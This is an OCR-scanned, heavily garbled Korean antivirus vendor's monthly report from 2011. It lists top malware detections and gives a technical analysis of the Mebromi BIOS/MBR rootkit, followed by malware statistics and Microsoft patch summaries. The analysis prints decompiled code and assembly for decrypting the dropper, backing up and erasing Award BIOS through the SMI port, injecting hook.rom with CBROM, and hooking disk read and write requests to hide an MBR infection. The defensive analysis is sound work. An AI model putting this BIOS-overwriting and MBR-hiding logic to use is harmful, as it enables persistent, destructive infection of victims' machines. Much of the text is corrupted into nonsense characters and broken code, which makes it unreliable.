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=9l ogIE FTHY LIkl -
(ZEx)
1 = K.EXPSWE.ShellCode.Gen Exploit 13,916
2 New  Script.SWF.C06 Exploit 11,870
3 15 S.SPY.OnlineGames.nsys Spyware 8,080
4 New  K.IEXPSWF.Downloader Exploit 4,484
5 $3  V.DWN.Agent.Pinsearch Trojan 4,458
6 i3 V.DWN.Agent.499712 Trojan 4,451
7 +3  V.DWN.86016 Trojan 4,282
8 New  V.WOM.Conficker Worm 4,037
9 New  AADVlivefloat Adware 3,710
10 New  Generic.PWS.Games.4.BDF5E911 Trojan 3,653
11 12 S.SPY.Lineag-GLG Spyware 3,522
12 New  Trojan.Generic.6742288 Trojan 3,499
13 New  Variant.Kazy.39614 Etc 3,417
14 11 V.DWN.KorAdware.Gen Trojan 2,901
15 New  Trojan.Generic.6730435 Trojan 2,810
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1) 7la

X2 SIEC|A3 MBR(Master Boot Record) S Y A7l YNNI 71 St
Ol M HALE =2 HESE XX ot USLLCE EESE Trojan.Rootkit.Mebromigt=
BIOS(Basic Input Output System)Q| EEPROMO|| XtAlQ| AEE QMM Al7|= A MHALT}
HASUCE o MEHNME 22 Y St AYIZES2 Kernel modeO| M FSE SHH
Mol Xz AHE oA St=&E 5t WE 7[ZE sele +H2= Kernel mode 25
AH83HE Aoz 2o LCh
Trojan.Rootkit.Mebromi= BIOSO| ZEE QMM &l0f BIOSE IjX| olX| A= 3t X|ZX}
Hot ofgi2 EE& 7HA2 USLC

I-JJ

0z

mo JE ojn
I

(2) A= B4

2-1) Dropper

B a CBROM 00003354 00 20 03 00 CO FC 50 51 OF 97 50 FE DS C1 47 EF FHHEPC
a 101 00003344 AB B3EF 7D 33E6CAFED358DA 34 EAB2ED 87 73 WIHE
(I @ 00003364 7C 9270 96830CFECOD3FABI 950D 1B 7320 | 7HI%gEi= -
g5y 108 000033C4 1F 45809434 6E 61 CCCEG7E560BBIFC BADZ B Tnafgvs??
L. 2052 00003304 2B 02 41 93BD 8563 48F6 71 94 33 B2 48 4F BE  +2#EHYYERY
B a DRIVER O0O033E4 S9EBB 0547 4CEI 34CFO7VE S 0352 F024 1C SHELad?~0% 77

000033F4 D4 B0 26 BF 6B 63 EB DC 58 2B EF AZ BE 5FBC 11 783 chix+m~ T

109
. a@ 2052 00003404 44 9B E7BE OC A3CA 90 44 BAED B4 47 6F 7086 DHIE S &l=glal;
Gy 10 00003414 4D 40 70 CE D3 986D E4 28B7C7 306D 76 18 C5 M°ﬂ§ii°§1[nw“”
g 2052 00003424 F4 F& 7350 9580 55 FA 70B3 60 F AC D3 05 F2 #8sQEUTSEM
e 11 00003434 DB B291 12 1B 56 93 AF BE 66 1828 89 89 07 0E B EISiE 32
E'"ag 00003444 358500 1C BB 9B AC 9D 87 5C 5D BFEA ] 1C 29 SYL#91%Q7
-4 2052 00003454 6352 16 15 5F OF 82 AE FA 25 0B 2E 9C 704787 iR _S7+747
-0 Dialog 00003464 38 63 3C 4907 CC 74 OE 53 8A 5E B6 D4 A3 3757 Bcdltrzgi 2o w
12! 1) Bios.exeQ| Z|AA LHE
Yool 2lan MMo|H, Z 2|AA0 HE2 Y3t [0 Q0 oY =52 43
= M EE¥Es s +=HIFSLCL
F
bios1.exe
ax aX X F
~‘ € f. ,‘ - ,‘ ‘.‘ ’ ,«. o/
" e "t ‘
bios.sys my.sys flash.dll CBROM.exe hook.rom

gl 2) Bios.exe Drop file
Trojan.Rootkit.Mebromi= Dropper?! bios.exeZ} 5742| m}S dropdtL|LCt.
33 20| & 5= JAX0| 5749 mte = 27|= E2t0|H nteo|H, bios.sysZt bios LfX|

o ZtHE Eafoly mhd L ct

2-20| M Zt Drop Lt@lo| &=of AL FAS HHENUSLICH

Fsent Holx| | 6



Bl AlVace T 4 s BXE U W2t HOMSE HIM 118

2-2) biosl.exe

DropperZ & mA=SZ Z|AAZ JHX|D O, BIOSQF MBR HZEE £3listL|LC}.
.text:00401600 ; Segment permissions: Read/Execute
.text:00401000 _text segment para public ‘CODE’ use32
.text:008401000 assume cs:_text
.text:0040610600 ;0rg 461608h
text-00401066 assume es:nothing, ss:nothing, ds: data, fs:nothing, gs:nothir
.text:00401000 dd 1B7413CDh, ODD158874h, 68DDS5F6Ch, 98989899h, 94ED67C8h
.text:00461000 dd 8D6798F2h, 98D8A8YCh, BF288DD13h, 834B6F98h, 1B98F258h
.text:004061000 dd 88F29A78h, 1564DD11h, BF2C868DDh, 9BED6798h, OA8988D67h
.text:004010600 dd 8D6798D8h, 98D8A8BD8H, 58834086Fh, BCDS5B51D8h, 741B7413h
.text:004061000 dd 96DD128Ch, BF9EC581Ch, 8C26CFCEh, 1598D8D8h, 3D3D74ESh
.text:00401000 dd 3DFE3D3Dh, 1083CB79Ch, 6DD1565DDh, OB8F2C898h, BA8D48D6E7h
.text:004061000 dd 67C898D8h, BD8A8YG8Dh, OFB99F298h, 98D8D898h, 709BED67h
.text:004061600 dd 676767E8h, 67945C1Bh, 8D679BEDh, 98D8A8DOh, 98F298F2h
.text:00461000 dd 98F29BF2h, O6DD159BF2h, 9898F874h, 67C85898h, ODSASDCS8Dh
.text:004061600 dd 73C6C798h, 67501B9Bh, 989C5A51h, BC97413CDh, 67501BC%h
.text:00401000 dd BEC96DDA1h, 94DD13A1h, 9864FD1Bh, 8CDD3797h, OF264D515h
.text:004061000 dd 67C8C998h, ODD119BEDh, OCC8D6766h, 1598D8A8Kh, 98F294DDh
.text:00461000 dd ODD2F97C8h, ODD379788h, BED67C88Ch, 9BED6786h, OABC88D67h
.text:004061000 dd 5A5198D8h, 13CD988Ch, 1BC9C974h, ODDA16756h, 13A1EC96h
.text:00461000 dd OFD1B94DDh, 37979864h, OD5158CDDh, BC998F264h, 9BED67C8h
.text:00461000 dd 6766DD11h, BD8ASCC8Dh, 94DD1598h, 97C898F2h, 9788DD2Fh
.text:00401000 dd 6C88CDD37h, 678BED67h, 8D679BEDh, 98D8ASCHh, 988CS5A51h
.text:00401000 dd BA167561Bh, BEC9CBCDCh, OBCEC6792h, BDOB8D679Ch, SA98D8ASH
eI BBYBTI168 e
.text:00401168 pushf

12 3) Bios.exe2| XOR crypt2 QAL £|o] Q= AL

2l 30|A EO0|%0| biosexes= ME 2AM
0|g3t0] Ho|l42| TEQ| Y RES o

=
Al MY HY 2353} ElLch 12 4= 0]

N
!
+0+ ;E
Lo
-
J:l
o
.
M
rlo
[El
HU
[
I
>
0%

unsigned int _ cdecl CodefAndData_decrypt_sub_482585()
{
HHODULE v@; // eax@Ei
int v1; /7 ecx@i
int v2; /7 edx@i
signed int v3; /7 esi@
int vh; // edx@3
unsigned int result; // eax@3
unsigned int vé; // ecx@3

UirtualProtect_sub_4082528();
vl = GetHoduleHandlen(@);
vl = (int)((char =)ul + =((_DVORD =)ub + 15) + ={ WORD =){{char =)ud + =({ DUORD *)ub + 15) + 20) + 24);
v2 = (int){{char =)ud
+ *#(_DUORD =)((char =)ud + =(({_DUWORD =)ud + 15} + =( _WORD =){{char =)ub + =({ DWORD =)ub + 15) + 28) + 36));

vl = B;
do
#(_BYTE =)(u3++ + u2) "= Bx98u;
while { v3 < 1280 );
vl = (int)((char =)ud + *(_DUORD *){uv1 + 92));
result = 8;
v = ®( DUDRD *)(ul + 96);
if (uh)
{

do
*#(_BYTE #)(result++ + uh) "= Bx89%u;
while { result € vé );
K

return result;

¥

a8 4) d3d IS C3AY St RE
12! 49| pseudo FEE= A El biosexe?| ZE QIEM(ASSIL|0 Y= FE HEHS
75l E™ 37|02 xor decryptE =™ sl= ZEQYLICH
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ESTsoft copyright 2009 © by ESTsoft Corp. All rights reserved Ho|x| | 7



Code Decrypt
BIOS modify
‘ 1 Trick
By CBROM.exe
Bios.sys -> beep.sys
Hook.rom
DROP Orig beep sys del
Result :
Bios.sys Start bios.sys C:Whbios.bin
Flash.dll /‘
/ By bios.sys
Bios.sys START
Modify bios
.' Use SMI port

BIOS backup ‘

By Bios.s:
Y ¥ MBR modify
C:¥bios.bin )
By bios.exe
Hook.rom

Bios.exeQ| 322 12l 50| L}EIL} o0 BIOSQ MBR EHZO| Zsh RpM|SH LYK
CHsl ot Z&L

12! 5) Bios.exe| SE

@© Bios.sys Drop

- 2|A&A ID 0x70

- Flash.dll rop

- Flash.dllZ2 E35}0{ biossys& ZE 5 Al
2@ Bios HHi Y

H
- AWML bios.syst| HHES L2 biosE CHtbios.bin mlof EH A

- CBROM.exeE Drop
- Hook.rom rop
- CBROM.exeZ 0|83}0{ biosbing HZESH

—

. Bios.bin0j| hook.rom O|O|X|E OCIAM

C
- Bios.sysO| H&HEZ Lj2{ bios.bine| LJEE AlX| bios rom0| %
@ MBR ®H=x

- Bios X H&Z = hook.romQ| L& MBRO| 7|E

5 o|x| |8



8l AlYec

_:!
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2-2) biosl.exe

bioso| W9l Tt WA +WS HE st SatolmeLch

:Z : :;MapluSpace((PH?SIEnLiﬂDDRESS)BxFﬂﬂﬂﬂuiﬂh, 08x100080u, 8);
i ooy
while { =({ DWORD =)u@ !=|’wﬂ@$' || *(( _DWORD =)uB + 1) = 'ﬂLFD")
¢ ++u0;
++U5;

if ( vS >= BxFFF5 )
{

DbgPrint("This is not a Aword BIOS?Hn™);
v3 = BxCO000001u;
goto LABEL_8;

H

H

SMI_PORT_word_1300C = ={{_ WORD =)ud + 21);

DbgPrint("SMI_PORT = Ox%x.Wn", (unsigned _ int16)SMI_PORT_word_1306C);
vl = (int){{char =)ul + 24);

u6 = BXFFE6uU;

do

{

if ( *(_DUORD =){ulh - 28) == *_HS_" )

if ( *(_DWORD =)(ul - 8) == "IMD_* )

1
BI0SSize dword_13010 = (*(( BYTE =)ul + %{ WORD *)ul + 9) + 1) << 63
DbgPrint("BIOSSize(KB) = Ox%x.Wn', BIOSSize_dword_13010);

H

H

ssul;
2! 6) Awad bios {3 & Zt HH £3
2l 69] I EL= bios.exel| HZHEZ BHOF bios7F AWARD biosQIX| O E2F AWARD
biosO|™M bios HZE Q|of| 2ast 24 HEHE T St= pseudo B EQL|CE.

AL AZ 2RO EH AX HZ22|2 0xFO000 £E Al 0x10000 7tX| THH
Sted 2 5 A1 0] YOl bios ZEI MF [ A= AU UL

Ol EQot HOIHE MF o7 fldf EF 2A=S M2 SMI portet BIOSS|

Afo|=g TLICH

if ( BIOSSize_dword_13010 && SMI_PORT_word_1306C )
{

v2 OXFFFFFCO0 > BT0SSize_uword 130103
v3 1 MmMaploSpace{(PHYSICAL_ADDRESS)(OxFFFFFCOBu » BI0OSSize_dword_13018), BIOSSize dword_13618 << 18, 0);
if (YUT)

DbgPrint(“MmMaploSpace physics address:0x%x failed.Wn", v2, 8);
return 0xC0000001u;

H
RtlInitUnicodeString(&DestinationString, L"W#DosDevicestHC ttbios.bin™);
ObjectAttributes.ObjectMame = &DestinationString;
Objectattributes.Length = 24;
Objectattributes .RootDirectory =
ObjectAttributes.Attributes = 576;
ObjectAttributes Securltynescrlptor = 8;
Ub i atitybfServiee—=8;
ZwﬁleateFlle(&Mandle, 8x100023u, &0bjectattributes, &loStatusBlock, @8, 0x8Bu, 1u, 5Su, 0x20u, @, 0);
1f o0y

{

vl § ZuWriteFile(Handle, @8, 8, 8, &loStatusBlock, v3, BIOSSize_dword_13818 << 168, 0, 0);
if (o0 >=10)
DbgPrint(“Backup Aword BIOS to disk c bios.bin success.tn");
HmUnmapIoSpace{u3, BI0OSSize_dword_13010 << 10);
ZwClose(Handle);

H
else

HmUnmaploSpace{u3, BI0OSSize_dword_13010 << 10);
DbgPrint("Open the bios file failed!¥n™);
H
H |

8! 7) Bios L2 C:Wbios.bin0j| X%

Copyright 2009 € by ESTzoft Corp. All rights reserved —
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J2l 79] BELE bios.exel| HHES HHO} bioso| LIS CWbios.bin0| & st= 3
E QLICL O bios REQ| M2 HEZ 517| 2ot HR2 StH AIIE HMEAt
= biose| MHIZEE M= ob A0| otL|2t OSE ZE St F&2 I =T ME o
R MZO0|H biose| ™M ZES MES= A2 O HE7| W2 YLICH

O|ZHA EHY B2 bjos TE= 0| CBROM.exeE 0|23l0] hook.romE Q1AM 3}
Of biosE #Z LTk CAl H2[BIRIY bioso| A AEs ot YR MMg
hook.romQ| ZEZ [N Sl= AO|H CtSat Z0| CBROM.exeE £t A EL|C}.
CBROM.exe C:Htbios.bin /isa hook.rom
(hook.romES bios.bing £33 bioso| QIXM)

ByteOffset.LowPart = 0;

ByteOffset .HighPart = 0;

v16 = Z2wReadFile(Handle, O, 0, O, &loStatusBlock, v4, BIOSSize_dword_13010 << 10, &ByteOffset, 0);
2wClose(Handle);

if (v16 < 8)

DbgPrint(''Read the bios file failed?! Ox%x¥n", vi6);
ub = u16;
LABEL_11:
ExFreePoolWithTag(v5, °‘mfyr');
return vo;
>
if ( |*SMI_bios_Erase_sub_1102A(BxFFFFFCOO * BI0OSSize_dword_13610, BIOSSize_dword_136818 << 10) |)
{

DbgPrint('SMI_AutoErase Aword Bios Failed.®n");
vt = BxCO000001u;
goto LABEL_11;

H

uv7 = BIOSSize_dword_13010;

u8 = OxXFFFFFCOO * BIOSSize_dword_13010;

if ( (BIOSSize_dword_13010 << 6) & OxFFFFFFF )

{
uls = (BIOSSize_dword_13010 << 6) & OxFFFFFFF;
do
{
ve *-[SM[ bios_Write_sub_1107A(v8, u5);
uS = Eeirar yos 163
ug += 16;
-=ulh;
b
while ( vi4 );
u7 = BIOSSize_dword_13010;
e

2l 8) Bios L2 C:Wbios.bin Lo 2 H=X
Jzl g bios.exe9| HZ 2 Hio} bioso| LS BXS= A= QL|C].

Qo] HZEEl CMbiosbing 0|8310] MK biosE HZXSIH, BiosE X A| SMI port
ol
AN

£ o|ggfLCt 2 A== 8 10, 11HH0f| LIEILJSL|CE
if ( v3 == Bx80102188 )
{

uly = BIOS_Read Backup_bios _bin_sub_1128A();
goto LABEL_S8;

if ( v3 == Bx80182184 )

<
us = Modify_Bios_bios_bin_sub_118DE();
goto LABEL_8;

if ( u3 == Bx80102188 )

vl = GetBiosInfo_sub_113C6();
LABEL_8:
Irp—->IoStatus.Status = vl;
goto LABEL_9;

>
12 9) Bios.sys®| IRP_MJ_DEVICE_CONTROL C|AT{x| SEI

'soft Ho|X| | 10



BB ALVac 1612 £ gls gx U FWZ HOLEE UM 11EE

12 9& bios.sys®| IRP_MJ_DEVICE_CONTROLS| C|AI{X| R EIO|H biosE HZX

St7| 91 RE o|2o= fifhs AS € &+ UASHOL

630 8B 7D 68 mov edi, [ebp+arg_0]
030 8B 4D 6C mov ecx, [ebp+arg_A4]
036 55 push ebp

034 BD 49 4D 53 24 mov ebp, "$SHI*

034 66 8B 15 6C 30 01 00 mov dx, SMI_PORT_word_1306C
034 66 B8 29 68 mov ax, 29h

034 EE out dx, al

034 E6 EB out B8EBh, al

034 E6 EB out B8EBh, al

034 E6 EB out B8EBh, al

034 E6 EB out BEBh, al

034 E6 EB out BEBh, al

034 89 2D 68 30 01 00 mov dword_13008, ebp
034 5D pop ebp

038 61 popa

016 81 3D 08 30 61 00 24 49+ cmp dword_13008, 'SHMIS’

12! 10) Bios erase X 34 SMI BIEE 0|8

030 66 8B 15 OC 30 61 00 mnov dx, SMI_PORT word 1300C
030 66 B8 2F 00 mov ax, 2Fh

030 55 push ebp

034 BD 49 4D 53 24 mov ebp, '$sSHI’

834 EE out dx, al

034 E6 EB out BEBh, al

834 E6 EB out B8EBh, al

834 E6 EB out BEBh, al

034 E6 EB out BEBh, al

834 E6 EB out BEBh, al

034 89 2D 08 30 61 60 mov dword_13008, ebp
034 5D pop ebp

830 61 popa

010 81 3D 08 30 01 00 24 49+ cmp dword_13008, 'SHIS'

% 11) BiosE C:Wbios.bin L2 2 CHA|, SMI 2E 0|

2-3) my.sys
HXE MBRZ HBSHs B SUTLICE

Rt1InitnicodeString(&0bjecttane, L"#tDevicetHarddiskMDRE");
result F loGetDeviceDbjectPointer(&0bjectNane, Ox1FO1FFu, &FileObject, (PDEVICE_OBJECT *)&u8);
if ( resiit 3= 8)

{
ud = FileObject->Devicelbject;
if (v3)
{

vl = (int)vi->DriverObject;
DRO_driverobj_dword_10816 = vk;
if ((wi)

DRO_IRP_HJ_READ_orig_dword_10884 = =(int (_ fastcall +*)(_DWORD, DWORD, DWORD, DWORD))(ul4 + Ox44);
*(_DUORD *){u4 + Ox44) = DRO_IRP_MJ_READ_hook_sub_1838C;
DRO_IRP_MJ_URITE_oriq_dword_10808 = x(int ( Fastcall »«)( DWORD, DWORD, DUORD, DHORD))(DR®_driverobj_dword_
+ 0x48);
*(_DUORD *)(DR®_driverobj_duord_16810 + 6x48) = DRO_IRP_MJ_WRITE_hook_sub_163C6;
DRO_IRP_MJ_DEVICE_CONTROL orig_dword 1886C = »(int (_stdcall =x)( DHORD, DUDRD))(DRB_driverabj_duord 10810
+ 0x70);
*(_DUORD *){DRO_driverobj_duord_16810 + 0x70) = DRO_IRP_HJ_DEVICE_CONTROL_hook_sub_10472;
vl = DRA_driverobj_dword_16810;

DRO_driverobj_dword_10800 = ui;
result = @;

H
13 12) E20|H AEEZ|

Copyright 2009 © by ESTsoft Corp. All rights resarve -
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AlYac

ne
B
{I
O
1o
{1
=3

o

10

HAZ MBRE HSSI7| Qdl| At = C2lo|HE ZE Al E2l0|H AEZ oA

WWDeviceWtHarddiskW#DROE &2|st= LE2+0|He| IRP_MJ_READ, IRP_MIJ_WRITE,

IRP_MJ_DEVICE_CONTROL 37} C|AI{jX| REIZ Hooking gtL|LC}.

T =

if ( *(_BviTE *)(irp a2 + 8) & 0x43 &b **( DUORD *){iostack v2 + Bx10) && byteoffset vd < Ox7E00 )
{

*( DYORD *)(iostack v2 + Bx1C) = Read CompletionRoutine hook sub 10300;
*(_DWORD *)(iostack v2 + 8x28) = byteoffset v3;
*( BYTE *)(iostack v2 + 3) = OxE@u; // control code

| return DRO_IRP_MJ_READ_orig_dword_10884(irp a2, byteoffset vi, ait, ir'p__a?);‘

33 13) IRP_MJ_READ hook FEI

hooking=l IRP_MJ_READS| AL QHEl FA0| 0x7E000|5tY AL CompletionRoutine

o

2 M-St f2fe| IRP_MJ_READ C|AIX|E S =3LC

if ( bytesreturned vh + ctx ad < Bx7E00 )
readbuf size v7 = bytesreturned vi;
else
readbuf_size v7 = Bx7E00 - ctx_a3;
v8 = readbuf_size v7;
v9 = readbuf_size v7 >> 2;
memset(Associatedlrp v5, 0, 4 * u9);
vi0 = (int)({char *)AssociatedIrp v5 + 4 = y9);
for (1 =ud &3;i; --1)
*( BYTE %)ulfes = §;

AF ( *(_BYTE *)(irp v3 + 8x21) ) // IRP| : PendingReturned == SL_PENDING_RETURNED
#(_BYTE *)(*(_DWORD *)(irp v3 + Ox68) + 3) |= 1u;/f _I0_STACK_LOCATION : Control ZC(f pendingl 22 L% 73

Matuwen dvnnut 049

g 14) IRP_MJ_READ®?| Completion 2EI

(=]

A ™=l CompletionRoutine2 MBRZ 9= 22 WE
HESkSHL| Ct.

mjo
o
0z
ikl
ro
=
0o
|0
hu
rE
P
Ot
2

if ( v

285

&& Trp->Flags & Bx43

&8 **((_DWORD =)u2 + 4)

&& v6 < Bx7E0D

& (u6 || vS <= 0x2800 || *({ DWORD =)u3 + 64) *= OXFCFCEBEB || *({ DWORD =)u3 + 65) ?= BOxFBFBECEC)
Irp->IoStatus.Status = 8;

Irp->IoStatus.Information = u5;
IofCompleteRequest(Irp, B8);

result = @3
¥
else
{
result = DROB_IRP_MJ_WRITE_orig_dword_10888(u5, vé6, al, Irp);

a3 15) IRP_MJ_WRITE & ZEI

Hooking=l IRP_MJ_WRITE C|AI§X| FEI2 MBRYSO| M7| A|Z Al HAMFO

oo 11—

T
EQACte getRe 49 = RPE TR ot=F £ USHCh 1 29 .t
2fe| IRP_MJ_WRITE C|AL|X| REIoZ FESHL|LC}

r
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{0

[2 -

*({ DWORD *)Irp->Tail.Overlay.CurrentStackLocation + 3);// 10 STACK LIJCLITII]N

{
Irp->IoStatus.Information = 8;
Irp->IoStatus.Status = BxCOBOBOB1u;
TofCompleteRequest(Irp, 0);
result = BxCO000061u;

if ( u2 == 0x70050 || v? == Bx2DOCON || v? ==

77 +0x000 MajorFunction : UChar

1 +0x001 MinorFunction : UChar

/7 +0x002 Flags : UChar

/7 +8x003 Control : UChar

e +0x004 Parameters : __unnamed

/7 +8x014 DeviceObject : Ptr32 _DEVICE_OBJECT
144 +0x018 FileObject : Ptr32 _FILE_OBJECT
i’ +0x01c COmpletmnRoutme Ptr32

1/ + 28 Context : Ptr32 Void

lex700A0 )

y
else
{
result = DRO_IRP_MJ_DEVICE_CONTROL_orig_dword_1080C(al, 1rp);
H
J2! 16) IRP_MJ_DEVICE_CONTROL = FEI
Hooking=l IRP_MJ_DEVICE_CONTROLZ E£7H control code?} ME E|US 42 o] &
EfE Htztsta IRPE ZZEBLICL
flash.dll
bios.sys& MH|AZ T35 U H O
CBROM.exe
Award biosE =75t AHL} HASI=0 AHEEl= Ho Z=1H
Y4 m2aYoR M2 MY
hook.rom
bios & MBRO|| QMM = FEZ 16HE IEE 31
Hookromo| EZ| ZELHS EAMSIFCH 0|2 AE EMZ AZE ofF

CPU Enable

BIOS cllA]

Ox0from) to 0x7C00 (0x1CO0)

Extension Interrupt Enable

BICIS Code Load

BIOS code Excute

POST by boctblock

MBR 2 & EhEh
HDD Osector to Ox8A00 (0x200)
chk MBR (0x55AA Iff &)

linglld =] 2 K]S (0x8A92)

D20S 2 0x80 BHE =LA}
2| &

A AL 2| &

0x7C00 (0x200] to 0x600

ret OXG1E

0x7C00 (Ox1CO0) to HDD
Osector

2! 17. Hook.rom?9| IER| I E

SEE
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AlYec 247+ HOMESF H T A |
a8 172 hook.romO| biosO|Al % Al =55 248 HWEYLIC
.
Qlajol MBRY SIS 1@ 199 0x005D HEo| ACEHE A|E SIX|H MZXE ACSE jmp
. .
bR g0 U HE ¥ 4 o0 0| ASE MBRY HX Of S HAsn ¥
Ziiel MBR ZEZ E4|gL|LC}
seq000: 00080 55 AA word_8 dw BAAS5h
seq000:0002 OF unk_2 db  OFh
seq000: 00083 B e e e e
seq00o: pae3
segfon: pee3 loc_3:
segf00: 0003 E9 4E 00 jmp near ptr CopyMBR_OnMemory_ret_61Eh__sub_54
~n~naa6.a0a00 -
% 18) Hook.romQ| A|Zt H B JC
5eq000: 0054
5eg000: 0654 CopyMBR_OnMemory_ret_61Eh__sub_54 proc far
5eg000: 00654 ; CODE XREF: seg@0@:loc_3Tj
H H 4 oC pushf
5eq000:0055 66 60 pushad
5eq000:0057 06 push es
5eg000:0058 1E push ds
5eq080:86859 FC cld
5eq088: 0050 E8 08 1C call near ptr CHKExtInterrupt_HodifyMBR_WriteHDD_sub_1C5D
5eg000: 005D
5eqB800: 005D CopyMBR_ret_61Eh_sub_5D:
5eg000:005D 33 CO xor ax, ax
seqB00:005F 8E DO mov 55, ax
5eg080:08861 BC 00 7C mov sp, 7C80h
5eq000:0064 FB st1
5eg000:0065 50 push ax
5eq000: 0066
5eq000: 0066 loc_66:
5eq000:0066 07 pop es
5eq000:0067 50 push ax
5eq000: 0068 1F pop ds
5eg000:0069 FC cld
s5eg000:086A 50 push ax
5eg000:006B BE 08 7C nov si, 7¢06h
5eq000: 006E BF 00 06 mov di, 606h
5eq000: 0071 B9 00 02 mov cX, 200h
5eq000:0074 F3 A4 rep mousb
5eg000:0076 BF 1E 06 nov di, 61Eh ; 61Eh 2 =3
5eg000:0076 H
5eq000:0076 ; DiskCheckExtensionsPresent_sub_7B
5eq000:0079 57 push di
5eq000:007a CB retf
5eq000: 007A CopyMBR_OnMemory_ret_61Eh__sub_54 endp

13 19) ¥ MY &

rr
K

(3) e
Kernel mode ZE= XAH= EFM0| 02{20] =21 ot
o2 EIX|S7|E 2K O%I—IEL EE
A0 A O[O7| ot HiQt ZO| HAMOCZRH HES
Kernel mode rootkitO|L} &M B ET} S& gt ZHo
Mty dHIE B4, 1S 2182 OSet
o
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[2010H 08E ~ 20114 10¥]

m 2011-08
m 2011-09
E2011-10

. LJ_ -

1433 135 3306

3hE FOIfME FEHHMLZ 1433 ZEQ| EE FTUICH, 13589 Z2 O
M2z Hus) A ZastASLT

o

A

Copyright 2009 © by ESTzoft Corp. All rights resene -
ESTsoft copyright 2009 © by ESTsoft Corp. All rights reserved HO|X| | 15



4

AL L

AlY«c Ut Wt HOMSE HiM 118S

(3) o Egjg |Y 0|
[2011H 05€ ~ 20114 10g¢]

2011-05 2011-06 2011-07 2011-08 2011-09 2011-10
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Part I 10€lQ] &I C EX

24 MY 24
(1) & A 9l HO|2HA 4 =g
45000
40000
35000
30000
25000 |
20000
| m HO[2{A
15000 | | |
ol
oo ERRSEEREER A RN EAE A I ©
5000
o RENRNRNNRNRNN RN RNANNE
— o N N~ (@)} — o [Wp) ™~ [e)) — o [Fp] N~ (o)} —
Q<@ Q@ o o A o S Qg g Qg g QM
(@] o (@] (@] (@] (@] o o o (@] o (@] (@] (@] o (@]
— — — — — — — — — — — — — — — —
L DT
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o (@] (@] (@] (@] (@] o o o o o (@] (@] o (@] (@]
N N AN AN AN AN N (@) (@) (@] (@] N N N N AN
UH AM O HIOIA EA Y dgios= SR 2= Ho|g{Aa I A Y9l JE LIEtLY
= Je=AL|CH 1082 2990 A Y 2&0| WAO| &= Hf 7H7t0| Z7t6tR o, HO[HA
Do 3 WSE0| A% YBLC
(2) 2 E4 <z
[20119 5€ ~ 20114 10€]
900,000
3.5%
800,000 .
700,000
600,000 XL
/ 439 5
500,000 : = 4.2% 3.5%
A
400,000 ‘ m Hpol 2~
oH
300,000 ) AT
200,000
100,000
O T T T T T
sg e6d 7¢  s¥ 9 109
Y A g2 dd3AE HE 9 Aun o] MA O LKA XX|St= HlE&S LIEILHE d2f=
UL|CL 10| AW Y2 96.5%, HIO|2A O 2 35%E AKXt o, =& SEFH 108 At

o
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8l ALY U F7H OIS S HIM

(3) 23 WY o] dEaE p
[2011H 10€ 1Y ~ 2011 10€ 31¢]
=X otdIE HTHY ol 2 4+ [7H] H] &(%]
1 W32/Mytob-C 7,531 47.52 %
2 W32/MyDoom-H 3,388 2138 %
3 Mal/ZipMal-B 2,658 16.77 %
4 Troj/Invo-Zip 701 442 %
5 W32/Virut-T 674 4.25 %
6 W32/MyDoom-O 205 1.29 %
7 W32/Bagle-CF 193 1.22 %
8 W32/Bagz-D 172 1.09 %
9 Troj/ZipMal-AW 170 1.07 %
10 W32/MyDoom-N 157 0.99 %

AT 0 Lo AMHIAE HHF2 10€ HO|ZA HYUNA HHE AHIAE F Top 108 &
o ) mQIL|Ch HX| W32/Mytob-CO| 47.52%2 192 A}X|S}YUOD], 29/= 21.38%= *f |
b W32/Mytob-H, 32| 16.77%E& AtX|$t Mal/ZipMal-BY L|Ct.

ret rlo
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Part I HO O|f EH7|
2. 1089] 3o Ol%

+ Microsoft 108 X7| B9 H0o|E

=
Internet Explorer £X HQF YO 0|E, Windows Media CenterQ| F ™o

AL Al B 52 843 Microsoft 102 XM7| HOF QGHO|EE YrS

<o mZF>

» Windows XP

» Windows Vista

» Windows 7

« Windows Server 2003

» Windows Server 2008

» Windows Server 2008 R2

« Microsoft Host Integration Server
 Microsoft Silverlight

« Microsoft Forefront Unified Access Gateway

<#lod 28>

.NET Framework 3! Microsoft Silverlighte] FEHo =z Qlst 21z I A ZHH

(2604930)

0] 292t YO O|E= Microsoft NET Framework 3 Microsoft SilverlightOfA] H|Z7|H S 2

HIOE FAHS HEYLCE AFEAZE XBAP(XAML B2t X 88 Z21

EH) CC
[} —

Silverlight 38 Z=21# 2 Adg = = & HeRKNE A E5tH =EE
HO|X|E & 8% O] FAYE2= QI Z20|AE AAHIGAM 2F AT dAdE = /U
SLCE A|AEI0| CHo AFEAE HotOo]| MA FAHE AFe AFEXt= #2[At Hotez
Yot= AHEALO| H|sH Hets MA &L MHO|A ASPNET L|O|X| X2l 585t
SAXZE siY MO E5tA =Zfot ASPNET LO|X|E d3XHoz HEESHY AA
St 42 O] FYToz oIl ISE st AMH AAHOAM f4 I HAH0| 5|8
= UASLICL Ol3ot 4= ¥ ZAE ALZ|20M de = ASLCh O FHAFH2
CAS(RE M A EOH MBS 223|517 s Windows NET S8 T2 12H0|M AR E
& Ut

Internet Explorer =X HQF 210|0| E(2586448)

0] H#9t A O|E &= Internet ExplorerOjj Al Z7AL|0] H|Z/WXMOZ Bl F UM

SHZBLICE 7K I@s HOFH O Qlsh ALBAITH Internet ExplorerS At
A ZxE @ HoNE 2 32 o
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g 43Hoz o
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Microsoft Active Accessibility2| FAHo =z Qlot /1 I M3l 2X|T(2623699)
0] 29t AHO|E= H|ZHZ2 E =l Microsoft Active Accessibility -4 49| FA4H

14g df d°”—|':f O FATFez Qs SHXIL ALEXIZE 510 a S5tH =2 E
DLL(sX ¢4 ZtolEa{z|) ot st HEYA ClHZ0 As oA oS
R R 4% ¥4 It HA0| 58 # JUSLCH Aut¥oz N oIS
Q1 Microsoft Active Accessibility 7141 @A7F DLL It 2& 3 HSE IE MHHS
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K| & WebDAV S/E HEStALE o|2{ot XM F APt & ZEAHWO| EEE|=

ZTAE GO0 gLt

nx

Windows Media Center2| FA™Mo = Qlot /A FL Ml EX|TH(2604926)

0| EQt ¢ 0|E= Windows Media Center| Z7§=l F o™ 1H4S sfjATLICE O] F <

Hoz Qs SAXIL AH8ALE St g 45t Z=%E DLU(sH AHZA 2to|Eg2|) mf
=2

- =
o S 1O O
S 3% ¥4 IE=

2t ot HEA CIMEHZ0 A= SEH oeds E= 3
20| 5182 & UFLICHL O|FA ot LyHQ mes E I Windows Media Center
7t DLL ot 2E Sl ZotEl IE ddS A=Y + ASHCEL SH0| St E ALE
Aob MY = Gle B T ALE AKX = WebDAV SRE YE% = EAHC
s ZOo{oF guct

